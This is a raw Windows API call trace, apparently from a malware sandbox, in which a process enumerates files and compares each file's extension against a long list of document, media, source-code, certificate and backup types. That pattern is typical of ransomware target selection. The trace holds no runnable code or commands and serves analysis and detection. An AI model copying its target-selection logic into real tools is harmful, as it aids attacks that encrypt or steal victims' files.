	[0062.047] lstrlenW (lpString=".htm") returned 4
	[0062.047] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1
	[0062.047] lstrlenW (lpString=".html") returned 5
	[0062.047] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1
	[0062.047] lstrlenW (lpString=".icb") returned 4
	[0062.047] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1
	[0062.047] lstrlenW (lpString=".ics") returned 4
	[0062.047] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1
	[0062.047] lstrlenW (lpString=".iff") returned 4
	[0062.047] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1
	[0062.047] lstrlenW (lpString=".inc") returned 4
	[0062.047] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1
	[0062.047] lstrlenW (lpString=".indd") returned 5
	[0062.047] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1
	[0062.047] lstrlenW (lpString=".ini") returned 4
	[0062.047] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1
	[0062.047] lstrlenW (lpString=".iqy") returned 4
	[0062.047] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1
	[0062.047] lstrlenW (lpString=".j2c") returned 4
	[0062.047] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1
	[0062.047] lstrlenW (lpString=".j2k") returned 4
	[0062.047] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1
	[0062.047] lstrlenW (lpString=".java") returned 5
	[0062.047] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1
	[0062.047] lstrlenW (lpString=".jp2") returned 4
	[0062.047] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1
	[0062.047] lstrlenW (lpString=".jpc") returned 4
	[0062.047] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1
	[0062.047] lstrlenW (lpString=".jpe") returned 4
	[0062.047] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1
	[0062.047] lstrlenW (lpString=".jpeg") returned 5
	[0062.047] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1
	[0062.047] lstrlenW (lpString=".jpf") returned 4
	[0062.048] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1
	[0062.048] lstrlenW (lpString=".jpg") returned 4
	[0062.048] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0062.048] lstrlenW (lpString=".jpx") returned 4
	[0062.048] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1
	[0062.048] lstrlenW (lpString=".js") returned 3
	[0062.048] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1
	[0062.048] lstrlenW (lpString=".jsf") returned 4
	[0062.048] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1
	[0062.337] lstrlenW (lpString=".json") returned 5
	[0062.337] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1
	[0062.337] lstrlenW (lpString=".jsp") returned 4
	[0062.337] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1
	[0062.337] lstrlenW (lpString=".kdc") returned 4
	[0062.337] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1
	[0062.337] lstrlenW (lpString=".kmz") returned 4
	[0062.337] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1
	[0062.337] lstrlenW (lpString=".kwm") returned 4
	[0062.337] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1
	[0062.337] lstrlenW (lpString=".lasso") returned 6
	[0062.337] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1
	[0062.338] lstrlenW (lpString=".lbi") returned 4
	[0062.338] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1
	[0062.338] lstrlenW (lpString=".lgf") returned 4
	[0062.338] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1
	[0062.338] lstrlenW (lpString=".lgp") returned 4
	[0062.338] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1
	[0062.338] lstrlenW (lpString=".log") returned 4
	[0062.338] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1
	[0062.338] lstrlenW (lpString=".m1v") returned 4
	[0062.338] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1
	[0062.338] lstrlenW (lpString=".m4a") returned 4
	[0062.338] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1
	[0062.338] lstrlenW (lpString=".m4v") returned 4
	[0062.338] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1
	[0062.338] lstrlenW (lpString=".max") returned 4
	[0062.338] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1
	[0062.338] lstrlenW (lpString=".md") returned 3
	[0062.338] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1
	[0062.338] lstrlenW (lpString=".mda") returned 4
	[0062.338] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1
	[0062.338] lstrlenW (lpString=".mdb") returned 4
	[0062.338] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1
	[0062.338] lstrlenW (lpString=".mde") returned 4
	[0062.338] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1
	[0062.338] lstrlenW (lpString=".mdf") returned 4
	[0062.338] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1
	[0062.338] lstrlenW (lpString=".mdw") returned 4
	[0062.338] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1
	[0062.338] lstrlenW (lpString=".mef") returned 4
	[0062.338] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1
	[0062.338] lstrlenW (lpString=".mft") returned 4
	[0062.338] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1
	[0062.338] lstrlenW (lpString=".mfw") returned 4
	[0062.338] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1
	[0062.338] lstrlenW (lpString=".mht") returned 4
	[0062.338] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1
	[0062.339] lstrlenW (lpString=".mhtml") returned 6
	[0062.339] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1
	[0062.339] lstrlenW (lpString=".mka") returned 4
	[0062.339] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1
	[0062.339] lstrlenW (lpString=".mkidx") returned 6
	[0062.339] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1
	[0062.339] lstrlenW (lpString=".mkv") returned 4
	[0062.339] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1
	[0062.339] lstrlenW (lpString=".mos") returned 4
	[0062.339] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1
	[0062.339] lstrlenW (lpString=".mov") returned 4
	[0062.339] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1
	[0062.339] lstrlenW (lpString=".mp3") returned 4
	[0062.339] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1
	[0062.339] lstrlenW (lpString=".mp4") returned 4
	[0062.339] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1
	[0062.339] lstrlenW (lpString=".mpeg") returned 5
	[0062.339] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1
	[0062.339] lstrlenW (lpString=".mpg") returned 4
	[0062.339] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1
	[0062.339] lstrlenW (lpString=".mpv") returned 4
	[0062.339] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1
	[0062.339] lstrlenW (lpString=".mrw") returned 4
	[0062.339] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1
	[0062.339] lstrlenW (lpString=".msg") returned 4
	[0062.339] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1
	[0062.339] lstrlenW (lpString=".mxl") returned 4
	[0062.339] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1
	[0062.339] lstrlenW (lpString=".myd") returned 4
	[0062.339] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1
	[0062.339] lstrlenW (lpString=".myi") returned 4
	[0062.339] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1
	[0062.339] lstrlenW (lpString=".nef") returned 4
	[0062.339] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1
	[0062.339] lstrlenW (lpString=".nrw") returned 4
	[0062.339] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1
	[0062.339] lstrlenW (lpString=".obj") returned 4
	[0062.339] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1
	[0062.340] lstrlenW (lpString=".odb") returned 4
	[0062.340] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1
	[0062.340] lstrlenW (lpString=".odc") returned 4
	[0062.340] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1
	[0062.340] lstrlenW (lpString=".odm") returned 4
	[0062.340] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1
	[0062.340] lstrlenW (lpString=".odp") returned 4
	[0062.340] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1
	[0062.340] lstrlenW (lpString=".ods") returned 4
	[0062.340] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1
	[0062.340] lstrlenW (lpString=".oft") returned 4
	[0062.340] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1
	[0062.340] lstrlenW (lpString=".one") returned 4
	[0062.340] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1
	[0062.340] lstrlenW (lpString=".onepkg") returned 7
	[0062.340] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1
	[0062.340] lstrlenW (lpString=".onetoc2") returned 8
	[0062.340] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1
	[0062.340] lstrlenW (lpString=".opt") returned 4
	[0062.340] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1
	[0062.340] lstrlenW (lpString=".oqy") returned 4
	[0062.340] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1
	[0062.340] lstrlenW (lpString=".orf") returned 4
	[0062.340] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1
	[0062.340] lstrlenW (lpString=".p12") returned 4
	[0062.340] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1
	[0062.340] lstrlenW (lpString=".p7b") returned 4
	[0062.340] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1
	[0062.340] lstrlenW (lpString=".p7c") returned 4
	[0062.340] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1
	[0062.340] lstrlenW (lpString=".pam") returned 4
	[0062.340] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1
	[0062.340] lstrlenW (lpString=".pbm") returned 4
	[0062.340] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1
	[0062.340] lstrlenW (lpString=".pct") returned 4
	[0062.340] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1
	[0062.340] lstrlenW (lpString=".pcx") returned 4
	[0062.341] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1
	[0062.341] lstrlenW (lpString=".pdd") returned 4
	[0062.341] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1
	[0062.341] lstrlenW (lpString=".pdf") returned 4
	[0062.341] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0062.341] lstrlenW (lpString=".pdp") returned 4
	[0062.341] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1
	[0062.341] lstrlenW (lpString=".pef") returned 4
	[0062.341] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1
	[0062.341] lstrlenW (lpString=".pem") returned 4
	[0062.341] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1
	[0062.341] lstrlenW (lpString=".pff") returned 4
	[0062.341] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1
	[0062.341] lstrlenW (lpString=".pfm") returned 4
	[0062.341] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1
	[0062.341] lstrlenW (lpString=".pfx") returned 4
	[0062.341] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1
	[0062.341] lstrlenW (lpString=".pgm") returned 4
	[0062.341] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1
	[0062.341] lstrlenW (lpString=".php") returned 4
	[0062.341] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1
	[0062.341] lstrlenW (lpString=".php3") returned 5
	[0062.341] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1
	[0062.341] lstrlenW (lpString=".php4") returned 5
	[0062.341] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1
	[0062.341] lstrlenW (lpString=".php5") returned 5
	[0062.341] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1
	[0062.341] lstrlenW (lpString=".phtml") returned 6
	[0062.341] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1
	[0062.341] lstrlenW (lpString=".pict") returned 5
	[0062.341] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1
	[0062.341] lstrlenW (lpString=".pl") returned 3
	[0062.341] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1
	[0062.341] lstrlenW (lpString=".pls") returned 4
	[0062.341] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1
	[0062.341] lstrlenW (lpString=".pm") returned 3
	[0062.341] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1
	[0062.341] lstrlenW (lpString=".png") returned 4
	[0062.342] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1
	[0062.342] lstrlenW (lpString=".pnm") returned 4
	[0062.342] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1
	[0062.342] lstrlenW (lpString=".pot") returned 4
	[0062.342] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1
	[0062.342] lstrlenW (lpString=".potm") returned 5
	[0062.342] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1
	[0062.342] lstrlenW (lpString=".potx") returned 5
	[0062.342] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1
	[0062.342] lstrlenW (lpString=".ppa") returned 4
	[0062.342] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1
	[0062.342] lstrlenW (lpString=".ppam") returned 5
	[0062.342] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1
	[0062.342] lstrlenW (lpString=".ppm") returned 4
	[0062.342] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1
	[0062.342] lstrlenW (lpString=".pps") returned 4
	[0062.342] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1
	[0062.342] lstrlenW (lpString=".ppsm") returned 5
	[0062.342] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1
	[0062.342] lstrlenW (lpString=".ppt") returned 4
	[0062.342] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0062.342] lstrlenW (lpString=".pptm") returned 5
	[0062.342] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1
	[0062.342] lstrlenW (lpString=".pptx") returned 5
	[0062.342] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1
	[0062.342] lstrlenW (lpString=".prn") returned 4
	[0062.342] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1
	[0062.342] lstrlenW (lpString=".ps") returned 3
	[0062.342] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1
	[0062.342] lstrlenW (lpString=".psb") returned 4
	[0062.342] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1
	[0062.342] lstrlenW (lpString=".psd") returned 4
	[0062.342] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1
	[0062.342] lstrlenW (lpString=".pst") returned 4
	[0062.342] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1
	[0062.342] lstrlenW (lpString=".ptx") returned 4
	[0062.342] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1
	[0062.343] lstrlenW (lpString=".pub") returned 4
	[0062.343] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1
	[0062.343] lstrlenW (lpString=".pwm") returned 4
	[0062.343] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1
	[0062.343] lstrlenW (lpString=".pxr") returned 4
	[0062.343] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1
	[0062.343] lstrlenW (lpString=".py") returned 3
	[0062.343] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1
	[0062.343] lstrlenW (lpString=".qt") returned 3
	[0062.343] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1
	[0062.343] lstrlenW (lpString=".r3d") returned 4
	[0062.343] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1
	[0062.343] lstrlenW (lpString=".raf") returned 4
	[0062.343] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1
	[0062.343] lstrlenW (lpString=".rar") returned 4
	[0062.343] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0062.343] FindNextFileW (in: hFindFile=0x7398d8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13c4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0062.343] FindNextFileW (in: hFindFile=0x7398d8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0062.343] FindNextFileW (in: hFindFile=0x7398d8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0062.343] FindClose (in: hFindFile=0x7398d8 | out: hFindFile=0x7398d8) returned 1
	[0062.343] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0062.344] FindNextFileW (in: hFindFile=0x739858, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1030", cAlternateFileName="")) returned 1
	[0062.344] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0062.344] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030") returned 26
	[0062.344] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811f08
	[0062.344] FindNextFileW (in: hFindFile=0x811f08, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.344] FindNextFileW (in: hFindFile=0x811f08, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xcf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0062.345] lstrlenW (lpString="eula.rtf") returned 8
	[0062.345] lstrlenW (lpString=".1cd") returned 4
	[0062.345] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0062.345] lstrlenW (lpString=".3ds") returned 4
	[0062.345] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1
	[0062.345] lstrlenW (lpString=".3fr") returned 4
	[0062.345] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1
	[0062.345] lstrlenW (lpString=".3g2") returned 4
	[0062.345] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1
	[0062.345] lstrlenW (lpString=".3gp") returned 4
	[0062.345] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1
	[0062.345] lstrlenW (lpString=".7z") returned 3
	[0062.345] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0062.345] lstrlenW (lpString=".accda") returned 6
	[0062.345] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1
	[0062.345] lstrlenW (lpString=".accdb") returned 6
	[0062.345] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1
	[0062.345] lstrlenW (lpString=".accdc") returned 6
	[0062.345] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1
	[0062.345] lstrlenW (lpString=".accde") returned 6
	[0062.345] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1
	[0062.345] lstrlenW (lpString=".accdt") returned 6
	[0062.345] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1
	[0062.345] lstrlenW (lpString=".accdw") returned 6
	[0062.345] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1
	[0062.345] lstrlenW (lpString=".adb") returned 4
	[0062.345] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1
	[0062.345] lstrlenW (lpString=".adp") returned 4
	[0062.345] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1
	[0062.345] lstrlenW (lpString=".ai") returned 3
	[0062.345] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1
	[0062.345] lstrlenW (lpString=".ai3") returned 4
	[0062.345] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1
	[0062.346] lstrlenW (lpString=".ai4") returned 4
	[0062.346] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1
	[0062.346] lstrlenW (lpString=".ai5") returned 4
	[0062.346] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1
	[0062.346] lstrlenW (lpString=".ai6") returned 4
	[0062.346] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1
	[0062.346] lstrlenW (lpString=".ai7") returned 4
	[0062.346] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1
	[0062.346] lstrlenW (lpString=".ai8") returned 4
	[0062.346] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1
	[0062.346] lstrlenW (lpString=".anim") returned 5
	[0062.346] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1
	[0062.346] lstrlenW (lpString=".arw") returned 4
	[0062.346] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1
	[0062.346] lstrlenW (lpString=".as") returned 3
	[0062.346] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1
	[0062.346] lstrlenW (lpString=".asa") returned 4
	[0062.346] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1
	[0062.346] lstrlenW (lpString=".asc") returned 4
	[0062.346] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1
	[0062.346] lstrlenW (lpString=".ascx") returned 5
	[0062.346] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1
	[0062.346] lstrlenW (lpString=".asm") returned 4
	[0062.346] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1
	[0062.346] lstrlenW (lpString=".asmx") returned 5
	[0062.346] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1
	[0062.346] lstrlenW (lpString=".asp") returned 4
	[0062.346] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1
	[0062.346] lstrlenW (lpString=".aspx") returned 5
	[0062.346] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1
	[0062.346] lstrlenW (lpString=".asr") returned 4
	[0062.346] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1
	[0062.346] lstrlenW (lpString=".asx") returned 4
	[0062.346] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1
	[0062.346] lstrlenW (lpString=".avi") returned 4
	[0062.346] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1
	[0062.346] lstrlenW (lpString=".avs") returned 4
	[0062.346] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1
	[0062.347] lstrlenW (lpString=".backup") returned 7
	[0062.347] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1
	[0062.347] lstrlenW (lpString=".bak") returned 4
	[0062.347] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1
	[0062.347] lstrlenW (lpString=".bay") returned 4
	[0062.347] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1
	[0062.347] lstrlenW (lpString=".bd") returned 3
	[0062.347] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1
	[0062.347] lstrlenW (lpString=".bin") returned 4
	[0062.347] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1
	[0062.347] lstrlenW (lpString=".bmp") returned 4
	[0062.347] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1
	[0062.347] lstrlenW (lpString=".bz2") returned 4
	[0062.347] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0062.347] lstrlenW (lpString=".c") returned 2
	[0062.347] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1
	[0062.347] lstrlenW (lpString=".cdr") returned 4
	[0062.347] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1
	[0062.347] lstrlenW (lpString=".cer") returned 4
	[0062.347] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1
	[0062.347] lstrlenW (lpString=".cf") returned 3
	[0062.347] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1
	[0062.347] lstrlenW (lpString=".cfc") returned 4
	[0062.347] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1
	[0062.347] lstrlenW (lpString=".cfm") returned 4
	[0062.347] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1
	[0062.347] lstrlenW (lpString=".cfml") returned 5
	[0062.347] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1
	[0062.347] lstrlenW (lpString=".cfu") returned 4
	[0062.347] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1
	[0062.347] lstrlenW (lpString=".chm") returned 4
	[0062.347] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1
	[0062.347] lstrlenW (lpString=".cin") returned 4
	[0062.347] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1
	[0062.347] lstrlenW (lpString=".class") returned 6
	[0062.347] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1
	[0062.347] lstrlenW (lpString=".clx") returned 4
	[0062.348] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1
	[0062.348] lstrlenW (lpString=".config") returned 7
	[0062.348] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1
	[0062.348] lstrlenW (lpString=".cpp") returned 4
